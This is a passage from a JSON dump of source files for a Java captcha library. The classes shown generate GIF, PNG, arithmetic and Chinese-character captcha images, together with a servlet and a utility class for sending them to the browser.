    "content": "package com.wf.captcha;\n\nimport com.wf.captcha.base.Captcha;\nimport com.wf.captcha.utils.GifEncoder;\n\nimport java.awt.*;\nimport java.awt.geom.CubicCurve2D;\nimport java.awt.geom.QuadCurve2D;\nimport java.awt.geom.Rectangle2D;\nimport java.awt.image.BufferedImage;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\n/**\n * Gif验证码类\n * Created by 王帆 on 2018-07-27 上午 10:08.\n */\npublic class GifCaptcha extends Captcha {\n\n    public GifCaptcha() {\n    }\n\n    public GifCaptcha(int width, int height) {\n        setWidth(width);\n        setHeight(height);\n    }\n\n    public GifCaptcha(int width, int height, int len) {\n        this(width, height);\n        setLen(len);\n    }\n\n    public GifCaptcha(int width, int height, int len, Font font) {\n        this(width, height, len);\n        setFont(font);\n    }\n\n    @Override\n    public boolean out(OutputStream os) {\n        try {\n            char[] strs = textChar();  // 获取验证码数组\n            // 随机生成每个文字的颜色\n            Color fontColor[] = new Color[len];\n            for (int i = 0; i < len; i++) {\n                fontColor[i] = color();\n            }\n            // 随机生成贝塞尔曲线参数\n            int x1 = 5, y1 = num(5, height / 2);\n            int x2 = width - 5, y2 = num(height / 2, height - 5);\n            int ctrlx = num(width / 4, width / 4 * 3), ctrly = num(5, height - 5);\n            if (num(2) == 0) {\n                int ty = y1;\n                y1 = y2;\n                y2 = ty;\n            }\n            int ctrlx1 = num(width / 4, width / 4 * 3), ctrly1 = num(5, height - 5);\n            int[][] besselXY = new int[][]{{x1, y1}, {ctrlx, ctrly}, {ctrlx1, ctrly1}, {x2, y2}};\n            // 开始画gif每一帧\n            GifEncoder gifEncoder = new GifEncoder();\n            gifEncoder.setQuality(180);\n            gifEncoder.setDelay(100);\n            gifEncoder.setRepeat(0);\n            gifEncoder.start(os);\n            for (int i = 0; i < len; i++) {\n                BufferedImage frame = graphicsImage(fontColor, strs, i, besselXY);\n                gifEncoder.addFrame(frame);\n                frame.flush();\n            }\n            gifEncoder.finish();\n            return true;\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            try {\n                os.close();\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }\n        return false;\n    }\n\n    @Override\n    public String toBase64() {\n        return toBase64(\"data:image/gif;base64,\");\n    }\n\n    /**\n     * 画随机码图\n     *\n     * @param fontColor 随机字体颜色\n     * @param strs      字符数组\n     * @param flag      透明度\n     * @param besselXY  干扰线参数\n     * @return BufferedImage\n     */\n    private BufferedImage graphicsImage(Color[] fontColor, char[] strs, int flag, int[][] besselXY) {\n        BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);\n        Graphics2D g2d = (Graphics2D) image.getGraphics();\n        // 填充背景颜色\n        g2d.setColor(Color.WHITE);\n        g2d.fillRect(0, 0, width, height);\n        // 抗锯齿\n        g2d.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);\n        // 画干扰圆圈\n        g2d.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, 0.1f * num(10)));  // 设置透明度\n        drawOval(2, g2d);\n        // 画干扰线\n        g2d.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER, 0.7f));  // 设置透明度\n        g2d.setStroke(new BasicStroke(1.2f, BasicStroke.CAP_BUTT, BasicStroke.JOIN_BEVEL));\n        g2d.setColor(fontColor[0]);\n        CubicCurve2D shape = new CubicCurve2D.Double(besselXY[0][0], besselXY[0][1], besselXY[1][0], besselXY[1][1], besselXY[2][0], besselXY[2][1], besselXY[3][0], besselXY[3][1]);\n        g2d.draw(shape);\n        // 画验证码\n        g2d.setFont(getFont());\n        FontMetrics fontMetrics = g2d.getFontMetrics();\n        int fW = width / strs.length;  // 每一个字符所占的宽度\n        int fSp = (fW - (int) fontMetrics.getStringBounds(\"W\", g2d).getWidth()) / 2;  // 字符的左右边距\n        for (int i = 0; i < strs.length; i++) {\n            // 设置透明度\n            AlphaComposite ac3 = AlphaComposite.getInstance(AlphaComposite.SRC_OVER, getAlpha(flag, i));\n            g2d.setComposite(ac3);\n            g2d.setColor(fontColor[i]);\n            int fY = height - ((height - (int) fontMetrics.getStringBounds(String.valueOf(strs[i]), g2d).getHeight()) >> 1);  // 文字的纵坐标\n            g2d.drawString(String.valueOf(strs[i]), i * fW + fSp + 3, fY - 3);\n        }\n        g2d.dispose();\n        return image;\n    }\n\n    /**\n     * 获取透明度,从0到1,自动计算步长\n     *\n     * @param i\n     * @param j\n     * @return 透明度\n     */\n    private float getAlpha(int i, int j) {\n        int num = i + j;\n        float r = (float) 1 / (len - 1);\n        float s = len * r;\n        return num >= len ? (num * r - s) : num * r;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/SpecCaptcha.java",
    "content": "package com.wf.captcha;\n\nimport com.wf.captcha.base.Captcha;\n\nimport java.awt.*;\nimport java.awt.image.BufferedImage;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\nimport javax.imageio.ImageIO;\n\n/**\n * png格式验证码\n * Created by 王帆 on 2018-07-27 上午 10:08.\n */\npublic class SpecCaptcha extends Captcha {\n\n    public SpecCaptcha() {\n    }\n\n    public SpecCaptcha(int width, int height) {\n        this();\n        setWidth(width);\n        setHeight(height);\n    }\n\n    public SpecCaptcha(int width, int height, int len) {\n        this(width, height);\n        setLen(len);\n    }\n\n    public SpecCaptcha(int width, int height, int len, Font font) {\n        this(width, height, len);\n        setFont(font);\n    }\n\n    /**\n     * 生成验证码\n     *\n     * @param out 输出流\n     * @return 是否成功\n     */\n    @Override\n    public boolean out(OutputStream out) {\n        return graphicsImage(textChar(), out);\n    }\n\n    @Override\n    public String toBase64() {\n        return toBase64(\"data:image/png;base64,\");\n    }\n\n    /**\n     * 生成验证码图形\n     *\n     * @param strs 验证码\n     * @param out  输出流\n     * @return boolean\n     */\n    private boolean graphicsImage(char[] strs, OutputStream out) {\n        try {\n            BufferedImage bi = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);\n            Graphics2D g2d = (Graphics2D) bi.getGraphics();\n            // 填充背景\n            g2d.setColor(Color.WHITE);\n            g2d.fillRect(0, 0, width, height);\n            // 抗锯齿\n            g2d.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);\n            // 画干扰圆\n            drawOval(2, g2d);\n            // 画干扰线\n            g2d.setStroke(new BasicStroke(2f, BasicStroke.CAP_BUTT, BasicStroke.JOIN_BEVEL));\n            drawBesselLine(1, g2d);\n            // 画字符串\n            g2d.setFont(getFont());\n            FontMetrics fontMetrics = g2d.getFontMetrics();\n            int fW = width / strs.length;  // 每一个字符所占的宽度\n            int fSp = (fW - (int) fontMetrics.getStringBounds(\"W\", g2d).getWidth()) / 2;  // 字符的左右边距\n            for (int i = 0; i < strs.length; i++) {\n                g2d.setColor(color());\n                int fY = height - ((height - (int) fontMetrics.getStringBounds(String.valueOf(strs[i]), g2d).getHeight()) >> 1);  // 文字的纵坐标\n                g2d.drawString(String.valueOf(strs[i]), i * fW + fSp + 3, fY - 3);\n            }\n            g2d.dispose();\n            ImageIO.write(bi, \"png\", out);\n            out.flush();\n            return true;\n        } catch (IOException e) {\n            e.printStackTrace();\n        } finally {\n            try {\n                out.close();\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }\n        return false;\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/base/ArithmeticCaptchaAbstract.java",
    "content": "package com.wf.captcha.base;\n\nimport javax.script.ScriptEngine;\nimport javax.script.ScriptEngineManager;\nimport javax.script.ScriptException;\n\n/**\n * 算术验证码抽象类\n * Created by 王帆 on 2019-08-23 上午 10:08.\n */\npublic abstract class ArithmeticCaptchaAbstract extends Captcha {\n    private String arithmeticString;  // 计算公式\n\n    public ArithmeticCaptchaAbstract() {\n        setLen(2);\n    }\n\n    /**\n     * 生成随机验证码\n     *\n     * @return 验证码字符数组\n     */\n    @Override\n    protected char[] alphas() {\n        StringBuilder sb = new StringBuilder();\n        for (int i = 0; i < len; i++) {\n            sb.append(num(10));\n            if (i < len - 1) {\n                int type = num(1, 4);\n                if (type == 1) {\n                    sb.append(\"+\");\n                } else if (type == 2) {\n                    sb.append(\"-\");\n                } else if (type == 3) {\n                    sb.append(\"x\");\n                }\n            }\n        }\n        ScriptEngineManager manager = new ScriptEngineManager();\n        ScriptEngine engine = manager.getEngineByName(\"javascript\");\n        try {\n            chars = String.valueOf(engine.eval(sb.toString().replaceAll(\"x\", \"*\")));\n        } catch (ScriptException e) {\n            e.printStackTrace();\n        }\n        sb.append(\"=?\");\n        arithmeticString = sb.toString();\n        return chars.toCharArray();\n    }\n\n    public String getArithmeticString() {\n        checkAlpha();\n        return arithmeticString;\n    }\n\n    public void setArithmeticString(String arithmeticString) {\n        this.arithmeticString = arithmeticString;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/base/Captcha.java",
    "content": "package com.wf.captcha.base;\n\nimport com.wf.captcha.utils.FontsUtil;\n\nimport java.awt.*;\nimport java.awt.geom.CubicCurve2D;\nimport java.awt.geom.QuadCurve2D;\nimport java.io.*;\nimport java.util.Base64;\n\n/**\n * 验证码抽象类\n * Created by 王帆 on 2018-07-27 上午 10:08.\n */\npublic abstract class Captcha extends Randoms {\n    // 常用颜色\n    public static final int[][] COLOR = {{0, 135, 255}, {51, 153, 51}, {255, 102, 102}, {255, 153, 0}, {153, 102, 0}, {153, 102, 153}, {51, 153, 153}, {102, 102, 255}, {0, 102, 204}, {204, 51, 51}, {0, 153, 204}, {0, 51, 102}};\n    // 验证码文本类型\n    public static final int TYPE_DEFAULT = 1;  // 字母数字混合\n    public static final int TYPE_ONLY_NUMBER = 2;  // 纯数字\n    public static final int TYPE_ONLY_CHAR = 3;  // 纯字母\n    public static final int TYPE_ONLY_UPPER = 4;  // 纯大写字母\n    public static final int TYPE_ONLY_LOWER = 5;  // 纯小写字母\n    public static final int TYPE_NUM_AND_UPPER = 6;  // 数字大写字母\n    // 内置字体\n    public static final int FONT_1 = 0;\n    public static final int FONT_2 = 1;\n    public static final int FONT_3 = 2;\n    public static final int FONT_4 = 3;\n    public static final int FONT_5 = 4;\n    public static final int FONT_6 = 5;\n    public static final int FONT_7 = 6;\n    public static final int FONT_8 = 7;\n    public static final int FONT_9 = 8;\n    public static final int FONT_10 = 9;\n    private static final String[] FONT_NAMES = new String[]{\"actionj.ttf\", \"epilog.ttf\", \"fresnel.ttf\", \"headache.ttf\", \"lexo.ttf\", \"prefix.ttf\", \"progbot.ttf\", \"ransom.ttf\", \"robot.ttf\", \"scandal.ttf\"};\n    private Font font = null; // 验证码的字体\n    protected int len = 5; // 验证码随机字符长度\n    protected int width = 130; // 验证码显示宽度\n    protected int height = 48; // 验证码显示高度\n    protected int charType = TYPE_DEFAULT;  // 验证码类型\n    protected String chars = null; // 当前验证码\n\n    /**\n     * 生成随机验证码\n     *\n     * @return 验证码字符数组\n     */\n    protected char[] alphas() {\n        char[] cs = new char[len];\n        for (int i = 0; i < len; i++) {\n            switch (charType) {\n                case 2:\n                    cs[i] = alpha(numMaxIndex);\n                    break;\n                case 3:\n                    cs[i] = alpha(charMinIndex, charMaxIndex);\n                    break;\n                case 4:\n                    cs[i] = alpha(upperMinIndex, upperMaxIndex);\n                    break;\n                case 5:\n                    cs[i] = alpha(lowerMinIndex, lowerMaxIndex);\n                    break;\n                case 6:\n                    cs[i] = alpha(upperMaxIndex);\n                    break;\n                default:\n                    cs[i] = alpha();\n            }\n        }\n        chars = new String(cs);\n        return cs;\n    }\n\n    /**\n     * 给定范围获得随机颜色\n     *\n     * @param fc 0-255\n     * @param bc 0-255\n     * @return 随机颜色\n     */\n    protected Color color(int fc, int bc) {\n        if (fc > 255)\n            fc = 255;\n        if (bc > 255)\n            bc = 255;\n        int r = fc + num(bc - fc);\n        int g = fc + num(bc - fc);\n        int b = fc + num(bc - fc);\n        return new Color(r, g, b);\n    }\n\n    /**\n     * 获取随机常用颜色\n     *\n     * @return 随机颜色\n     */\n    protected Color color() {\n        int[] color = COLOR[num(COLOR.length)];\n        return new Color(color[0], color[1], color[2]);\n    }\n\n    /**\n     * 验证码输出,抽象方法，由子类实现\n     *\n     * @param os 输出流\n     * @return 是否成功\n     */\n    public abstract boolean out(OutputStream os);\n\n    /**\n     * 输出base64编码\n     *\n     * @return base64编码字符串\n     */\n    public abstract String toBase64();\n\n    /**\n     * 输出base64编码\n     *\n     * @param type 编码头\n     * @return base64编码字符串\n     */\n    public String toBase64(String type) {\n        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();\n        out(outputStream);\n        return type + Base64.getEncoder().encodeToString(outputStream.toByteArray());\n    }\n\n    /**\n     * 获取当前的验证码\n     *\n     * @return 字符串\n     */\n    public String text() {\n        checkAlpha();\n        return chars;\n    }\n\n    /**\n     * 获取当前验证码的字符数组\n     *\n     * @return 字符数组\n     */\n    public char[] textChar() {\n        checkAlpha();\n        return chars.toCharArray();\n    }\n\n    /**\n     * 检查验证码是否生成，没有则立即生成\n     */\n    public void checkAlpha() {\n        if (chars == null) {\n            alphas(); // 生成验证码\n        }\n    }\n\n    /**\n     * 随机画干扰线\n     *\n     * @param num 数量\n     * @param g   Graphics2D\n     */\n    public void drawLine(int num, Graphics2D g) {\n        drawLine(num, null, g);\n    }\n\n    /**\n     * 随机画干扰线\n     *\n     * @param num   数量\n     * @param color 颜色\n     * @param g     Graphics2D\n     */\n    public void drawLine(int num, Color color, Graphics2D g) {\n        for (int i = 0; i < num; i++) {\n            g.setColor(color == null ? color() : color);\n            int x1 = num(-10, width - 10);\n            int y1 = num(5, height - 5);\n            int x2 = num(10, width + 10);\n            int y2 = num(2, height - 2);\n            g.drawLine(x1, y1, x2, y2);\n        }\n    }\n\n    /**\n     * 随机画干扰圆\n     *\n     * @param num 数量\n     * @param g   Graphics2D\n     */\n    public void drawOval(int num, Graphics2D g) {\n        drawOval(num, null, g);\n    }\n\n    /**\n     * 随机画干扰圆\n     *\n     * @param num   数量\n     * @param color 颜色\n     * @param g     Graphics2D\n     */\n    public void drawOval(int num, Color color, Graphics2D g) {\n        for (int i = 0; i < num; i++) {\n            g.setColor(color == null ? color() : color);\n            int w = 5 + num(10);\n            g.drawOval(num(width - 25), num(height - 15), w, w);\n        }\n    }\n\n    /**\n     * 随机画贝塞尔曲线\n     *\n     * @param num 数量\n     * @param g   Graphics2D\n     */\n    public void drawBesselLine(int num, Graphics2D g) {\n        drawBesselLine(num, null, g);\n    }\n\n    /**\n     * 随机画贝塞尔曲线\n     *\n     * @param num   数量\n     * @param color 颜色\n     * @param g     Graphics2D\n     */\n    public void drawBesselLine(int num, Color color, Graphics2D g) {\n        for (int i = 0; i < num; i++) {\n            g.setColor(color == null ? color() : color);\n            int x1 = 5, y1 = num(5, height / 2);\n            int x2 = width - 5, y2 = num(height / 2, height - 5);\n            int ctrlx = num(width / 4, width / 4 * 3), ctrly = num(5, height - 5);\n            if (num(2) == 0) {\n                int ty = y1;\n                y1 = y2;\n                y2 = ty;\n            }\n            if (num(2) == 0) {  // 二阶贝塞尔曲线\n                QuadCurve2D shape = new QuadCurve2D.Double();\n                shape.setCurve(x1, y1, ctrlx, ctrly, x2, y2);\n                g.draw(shape);\n            } else {  // 三阶贝塞尔曲线\n                int ctrlx1 = num(width / 4, width / 4 * 3), ctrly1 = num(5, height - 5);\n                CubicCurve2D shape = new CubicCurve2D.Double(x1, y1, ctrlx, ctrly, ctrlx1, ctrly1, x2, y2);\n                g.draw(shape);\n            }\n        }\n    }\n\n    public Font getFont() {\n        if (font == null) {\n            try {\n                setFont(FONT_1);\n            } catch (Exception e) {\n                setFont(new Font(\"Arial\", Font.BOLD, 32));\n            }\n        }\n        return font;\n    }\n\n    public void setFont(Font font) {\n        this.font = font;\n    }\n\n    public void setFont(int font) throws IOException, FontFormatException {\n        setFont(font, 32f);\n    }\n\n    public void setFont(int font, float size) throws IOException, FontFormatException {\n        setFont(font, Font.BOLD, size);\n    }\n\n    public void setFont(int font, int style, float size) throws IOException, FontFormatException {\n        this.font = FontsUtil.getFont(FONT_NAMES[font], style, size);\n    }\n\n    public int getLen() {\n        return len;\n    }\n\n    public void setLen(int len) {\n        this.len = len;\n    }\n\n    public int getWidth() {\n        return width;\n    }\n\n    public void setWidth(int width) {\n        this.width = width;\n    }\n\n    public int getHeight() {\n        return height;\n    }\n\n    public void setHeight(int height) {\n        this.height = height;\n    }\n\n    public int getCharType() {\n        return charType;\n    }\n\n    public void setCharType(int charType) {\n        this.charType = charType;\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/base/ChineseCaptchaAbstract.java",
    "content": "package com.wf.captcha.base;\n\nimport java.awt.*;\n\n/**\n * 中文验证码抽象类\n * Created by 王帆 on 2018-07-27 上午 10:08.\n */\npublic abstract class ChineseCaptchaAbstract extends Captcha {\n    // 常用汉字\n    public static final String DELTA = \"\\u7684\\u4e00\\u4e86\\u662f\\u6211\\u4e0d\\u5728\\u4eba\\u4eec\\u6709\\u6765\\u4ed6\\u8fd9\\u4e0a\\u7740\\u4e2a\\u5730\\u5230\\u5927\\u91cc\\u8bf4\\u5c31\\u53bb\\u5b50\\u5f97\\u4e5f\\u548c\\u90a3\\u8981\\u4e0b\\u770b\\u5929\\u65f6\\u8fc7\\u51fa\\u5c0f\\u4e48\\u8d77\\u4f60\\u90fd\\u628a\\u597d\\u8fd8\\u591a\\u6ca1\\u4e3a\\u53c8\\u53ef\\u5bb6\\u5b66\\u53ea\\u4ee5\\u4e3b\\u4f1a\\u6837\\u5e74\\u60f3\\u751f\\u540c\\u8001\\u4e2d\\u5341\\u4ece\\u81ea\\u9762\\u524d\\u5934\\u9053\\u5b83\\u540e\\u7136\\u8d70\\u5f88\\u50cf\\u89c1\\u4e24\\u7528\\u5979\\u56fd\\u52a8\\u8fdb\\u6210\\u56de\\u4ec0\\u8fb9\\u4f5c\\u5bf9\\u5f00\\u800c\\u5df1\\u4e9b\\u73b0\\u5c71\\u6c11\\u5019\\u7ecf\\u53d1\\u5de5\\u5411\\u4e8b\\u547d\\u7ed9\\u957f\\u6c34\\u51e0\\u4e49\\u4e09\\u58f0\\u4e8e\\u9ad8\\u624b\\u77e5\\u7406\\u773c\\u5fd7\\u70b9\\u5fc3\\u6218\\u4e8c\\u95ee\\u4f46\\u8eab\\u65b9\\u5b9e\\u5403\\u505a\\u53eb\\u5f53\\u4f4f\\u542c\\u9769\\u6253\\u5462\\u771f\\u5168\\u624d\\u56db\\u5df2\\u6240\\u654c\\u4e4b\\u6700\\u5149\\u4ea7\\u60c5\\u8def\\u5206\\u603b\\u6761\\u767d\\u8bdd\\u4e1c\\u5e2d\\u6b21\\u4eb2\\u5982\\u88ab\\u82b1\\u53e3\\u653e\\u513f\\u5e38\\u6c14\\u4e94\\u7b2c\\u4f7f\\u5199\\u519b\\u5427\\u6587\\u8fd0\\u518d\\u679c\\u600e\\u5b9a\\u8bb8\\u5feb\\u660e\\u884c\\u56e0\\u522b\\u98de\\u5916\\u6811\\u7269\\u6d3b\\u90e8\\u95e8\\u65e0\\u5f80\\u8239\\u671b\\u65b0\\u5e26\\u961f\\u5148\\u529b\\u5b8c\\u5374\\u7ad9\\u4ee3\\u5458\\u673a\\u66f4\\u4e5d\\u60a8\\u6bcf\\u98ce\\u7ea7\\u8ddf\\u7b11\\u554a\\u5b69\\u4e07\\u5c11\\u76f4\\u610f\\u591c\\u6bd4\\u9636\\u8fde\\u8f66\\u91cd\\u4fbf\\u6597\\u9a6c\\u54ea\\u5316\\u592a\\u6307\\u53d8\\u793e\\u4f3c\\u58eb\\u8005\\u5e72\\u77f3\\u6ee1\\u65e5\\u51b3\\u767e\\u539f\\u62ff\\u7fa4\\u7a76\\u5404\\u516d\\u672c\\u601d\\u89e3\\u7acb\\u6cb3\\u6751\\u516b\\u96be\\u65e9\\u8bba\\u5417\\u6839\\u5171\\u8ba9\\u76f8\\u7814\\u4eca\\u5176\\u4e66\\u5750\\u63a5\\u5e94\\u5173\\u4fe1\\u89c9\\u6b65\\u53cd\\u5904\\u8bb0\\u5c06\\u5343\\u627e\\u4e89\\u9886\\u6216\\u5e08\\u7ed3\\u5757\\u8dd1\\u8c01\\u8349\\u8d8a\\u5b57\\u52a0\\u811a\\u7d27\\u7231\\u7b49\\u4e60\\u9635\\u6015\\u6708\\u9752\\u534a\\u706b\\u6cd5\\u9898\\u5efa\\u8d76\\u4f4d\\u5531\\u6d77\\u4e03\\u5973\\u4efb\\u4ef6\\u611f\\u51c6\\u5f20\\u56e2\\u5c4b\\u79bb\\u8272\\u8138\\u7247\\u79d1\\u5012\\u775b\\u5229\\u4e16\\u521a\\u4e14\\u7531\\u9001\\u5207\\u661f\\u5bfc\\u665a\\u8868\\u591f\\u6574\\u8ba4\\u54cd\\u96ea\\u6d41\\u672a\\u573a\\u8be5\\u5e76\\u5e95\\u6df1\\u523b\\u5e73\\u4f1f\\u5fd9\\u63d0\\u786e\\u8fd1\\u4eae\\u8f7b\\u8bb2\\u519c\\u53e4\\u9ed1\\u544a\\u754c\\u62c9\\u540d\\u5440\\u571f\\u6e05\\u9633\\u7167\\u529e\\u53f2\\u6539\\u5386\\u8f6c\\u753b\\u9020\\u5634\\u6b64\\u6cbb\\u5317\\u5fc5\\u670d\\u96e8\\u7a7f\\u5185\\u8bc6\\u9a8c\\u4f20\\u4e1a\\u83dc\\u722c\\u7761\\u5174\\u5f62\\u91cf\\u54b1\\u89c2\\u82e6\\u4f53\\u4f17\\u901a\\u51b2\\u5408\\u7834\\u53cb\\u5ea6\\u672f\\u996d\\u516c\\u65c1\\u623f\\u6781\\u5357\\u67aa\\u8bfb\\u6c99\\u5c81\\u7ebf\\u91ce\\u575a\\u7a7a\\u6536\\u7b97\\u81f3\\u653f\\u57ce\\u52b3\\u843d\\u94b1\\u7279\\u56f4\\u5f1f\\u80dc\\u6559\\u70ed\\u5c55\\u5305\\u6b4c\\u7c7b\\u6e10\\u5f3a\\u6570\\u4e61\\u547c\\u6027\\u97f3\\u7b54\\u54e5\\u9645\\u65e7\\u795e\\u5ea7\\u7ae0\\u5e2e\\u5566\\u53d7\\u7cfb\\u4ee4\\u8df3\\u975e\\u4f55\\u725b\\u53d6\\u5165\\u5cb8\\u6562\\u6389\\u5ffd\\u79cd\\u88c5\\u9876\\u6025\\u6797\\u505c\\u606f\\u53e5\\u533a\\u8863\\u822c\\u62a5\\u53f6\\u538b\\u6162\\u53d4\\u80cc\\u7ec6\";\n\n    public ChineseCaptchaAbstract() {\n        setFont(new Font(\"楷体\", Font.PLAIN, 28));\n        setLen(4);\n    }\n\n    /**\n     * 生成随机验证码\n     *\n     * @return 验证码字符数组\n     */\n    @Override\n    protected char[] alphas() {\n        char[] cs = new char[len];\n        for (int i = 0; i < len; i++) {\n            cs[i] = alphaHan();\n        }\n        chars = new String(cs);\n        return cs;\n    }\n\n    /**\n     * 返回随机汉字\n     *\n     * @return 随机汉字\n     */\n    public static char alphaHan() {\n        return DELTA.charAt(num(DELTA.length()));\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/base/Randoms.java",
    "content": "package com.wf.captcha.base;\n\nimport java.security.SecureRandom;\n\n/**\n * 随机数工具类\n * Created by 王帆 on 2018-07-27 上午 10:08.\n */\npublic class Randoms {\n    protected static final SecureRandom RANDOM = new SecureRandom();\n    // 定义验证码字符.去除了0、O、I、L等容易混淆的字母\n    public static final char ALPHA[] = {'2', '3', '4', '5', '6', '7', '8', '9',\n            'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'J', 'K', 'M', 'N', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',\n            'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'j', 'k', 'm', 'n', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'};\n    protected static final int numMaxIndex = 8;  // 数字的最大索引，不包括最大值\n    protected static final int charMinIndex = numMaxIndex;  // 字符的最小索引，包括最小值\n    protected static final int charMaxIndex = ALPHA.length;  // 字符的最大索引，不包括最大值\n    protected static final int upperMinIndex = charMinIndex;  // 大写字符最小索引\n    protected static final int upperMaxIndex = upperMinIndex + 23;  // 大写字符最大索引\n    protected static final int lowerMinIndex = upperMaxIndex;  // 小写字母最小索引\n    protected static final int lowerMaxIndex = charMaxIndex;  // 小写字母最大索引\n\n    /**\n     * 产生两个数之间的随机数\n     *\n     * @param min 最小值\n     * @param max 最大值\n     * @return 随机数\n     */\n    public static int num(int min, int max) {\n        return min + RANDOM.nextInt(max - min);\n    }\n\n    /**\n     * 产生0-num的随机数,不包括num\n     *\n     * @param num 最大值\n     * @return 随机数\n     */\n    public static int num(int num) {\n        return RANDOM.nextInt(num);\n    }\n\n    /**\n     * 返回ALPHA中的随机字符\n     *\n     * @return 随机字符\n     */\n    public static char alpha() {\n        return ALPHA[num(ALPHA.length)];\n    }\n\n    /**\n     * 返回ALPHA中第0位到第num位的随机字符\n     *\n     * @param num 到第几位结束\n     * @return 随机字符\n     */\n    public static char alpha(int num) {\n        return ALPHA[num(num)];\n    }\n\n    /**\n     * 返回ALPHA中第min位到第max位的随机字符\n     *\n     * @param min 从第几位开始\n     * @param max 到第几位结束\n     * @return 随机字符\n     */\n    public static char alpha(int min, int max) {\n        return ALPHA[num(min, max)];\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/servlet/CaptchaServlet.java",
    "content": "package com.wf.captcha.servlet;\n\nimport java.awt.*;\nimport java.io.IOException;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.wf.captcha.GifCaptcha;\nimport com.wf.captcha.SpecCaptcha;\nimport com.wf.captcha.base.Captcha;\nimport com.wf.captcha.utils.CaptchaUtil;\n\n/**\n * 验证码servlet\n * Created by 王帆 on 2018-07-27 上午 10:08.\n */\npublic class CaptchaServlet extends HttpServlet {\n    private static final long serialVersionUID = -90304944339413093L;\n\n    public void doGet(HttpServletRequest request, HttpServletResponse response)\n            throws ServletException, IOException {\n//        SpecCaptcha captcha = new SpecCaptcha(130, 48, 6);\n        GifCaptcha captcha = new GifCaptcha(130, 48, 6);\n\n        // 设置内置字体\n        try {\n            captcha.setFont(Captcha.FONT_10);\n        } catch (FontFormatException e) {\n            e.printStackTrace();\n        }\n        CaptchaUtil.out(captcha, request, response);\n    }\n\n    public void doPost(HttpServletRequest request, HttpServletResponse response)\n            throws ServletException, IOException {\n        doGet(request, response);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_easycaptcha/src/main/java/com/wf/captcha/utils/CaptchaUtil.java",
    "content": "package com.wf.captcha.utils;\n\nimport java.awt.*;\nimport java.io.IOException;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.wf.captcha.base.Captcha;\nimport com.wf.captcha.SpecCaptcha;\n\n/**\n * 图形验证码工具类\n * Created by 王帆 on 2018-07-27 上午 10:08.\n */\npublic class CaptchaUtil {\n    private static final String SESSION_KEY = \"captcha\";\n    private static final int DEFAULT_LEN = 4;  // 默认长度\n    private static final int DEFAULT_WIDTH = 130;  // 默认宽度\n    private static final int DEFAULT_HEIGHT = 48;  // 默认高度\n\n    /**\n     * 输出验证码\n     *\n     * @param request  HttpServletRequest\n     * @param response HttpServletResponse\n     * @throws IOException IO异常\n     */\n    public static void out(HttpServletRequest request, HttpServletResponse response)\n            throws IOException {\n        out(DEFAULT_LEN, request, response);\n    }\n\n    /**\n     * 输出验证码\n     *\n     * @param len      长度\n     * @param request  HttpServletRequest\n     * @param response HttpServletResponse\n     * @throws IOException IO异常\n     */\n    public static void out(int len, HttpServletRequest request, HttpServletResponse response)\n            throws IOException {\n        out(DEFAULT_WIDTH, DEFAULT_HEIGHT, len, request, response);\n    }\n\n    /**\n     * 输出验证码\n     *\n     * @param width    宽度\n     * @param height   高度\n     * @param len      长度\n     * @param request  HttpServletRequest\n     * @param response HttpServletResponse\n     * @throws IOException IO异常\n     */\n    public static void out(int width, int height, int len, HttpServletRequest request, HttpServletResponse response)\n            throws IOException {\n        out(width, height, len, null, request, response);\n    }\n\n    /**\n     * 输出验证码\n     *\n     * @param font     字体\n     * @param request  HttpServletRequest\n     * @param response HttpServletResponse\n     * @throws IOException IO异常\n     */\n    public static void out(Font font, HttpServletRequest request, HttpServletResponse response)\n            throws IOException {\n        out(DEFAULT_WIDTH, DEFAULT_HEIGHT, DEFAULT_LEN, font, request, response);\n    }\n\n    /**\n     * 输出验证码\n     *\n     * @param len      长度\n     * @param font     字体\n     * @param request  HttpServletRequest\n     * @param response HttpServletResponse\n     * @throws IOException IO异常\n     */\n    public static void out(int len, Font font, HttpServletRequest request, HttpServletResponse response)\n            throws IOException {\n        out(DEFAULT_WIDTH, DEFAULT_HEIGHT, len, font, request, response);\n    }\n\n    /**\n     * 输出验证码\n     *\n     * @param width    宽度\n     * @param height   高度\n     * @param len      长度\n     * @param font     字体\n     * @param request  HttpServletRequest\n     * @param response HttpServletResponse\n     * @throws IOException IO异常\n     */\n    public static void out(int width, int height, int len, Font font, HttpServletRequest request, HttpServletResponse response)\n            throws IOException {\n        SpecCaptcha specCaptcha = new SpecCaptcha(width, height, len);\n        if (font != null) {\n            specCaptcha.setFont(font);\n        }\n        out(specCaptcha, request, response);\n    }\n\n\n    /**\n     * 输出验证码\n     *\n     * 